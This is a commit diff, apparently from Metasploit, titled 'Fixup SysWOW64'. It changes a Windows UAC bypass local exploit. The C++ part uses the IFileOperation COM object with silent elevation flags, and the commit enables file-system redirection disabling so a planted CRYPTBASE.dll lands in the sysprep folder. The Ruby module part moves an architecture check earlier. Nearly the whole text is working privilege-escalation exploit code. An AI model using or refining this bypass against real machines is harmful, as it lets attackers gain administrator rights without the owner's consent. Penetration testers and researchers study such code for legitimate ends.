Fixup SysWOW64
parent
b8df7cc496
commit
dfac7b57d2
|
@ -25,6 +25,8 @@ void exploit()
|
|||
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
||||
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
||||
|
||||
Wow64DisableWow64FsRedirection(&OldValue);
|
||||
|
||||
GetWindowsDirectoryW(windir, MAX_PATH);
|
||||
GetTempPathW(MAX_PATH, path);
|
||||
|
||||
|
@ -44,8 +46,7 @@ void exploit()
|
|||
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
|
||||
|
||||
if (CoInitialize(NULL) == S_OK)
|
||||
{
|
||||
//Wow64DisableWow64FsRedirection(&OldValue);
|
||||
{
|
||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
|
||||
{
|
||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
|
||||
|
|
|
@ -120,6 +120,13 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
# decide, x86 or x64
|
||||
sysarch = sysinfo["Architecture"]
|
||||
if sysarch =~ /x64/i
|
||||
unless target_arch.first == 'x86_64'
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
"x86 Target Selected for x64 System"
|
||||
)
|
||||
end
|
||||
|
||||
bpdll_path = ::File.join(path, "bypassuac-x64.dll")
|
||||
|
||||
if sysarch =~ /WOW64/i
|
||||
|
@ -129,13 +136,6 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
# SysWOW64 Redirection...
|
||||
register_files_for_cleanup("#{windir}\\System32\\sysprep\\CRYPTBASE.dll")
|
||||
end
|
||||
|
||||
unless target_arch.first == 'x86_64'
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
"x86 Target Selected for x64 System"
|
||||
)
|
||||
end
|
||||
else
|
||||
if target_arch.first =~ /x64/i
|
||||
fail_with(
|
||||
|
|
Loading…
Reference in New Issue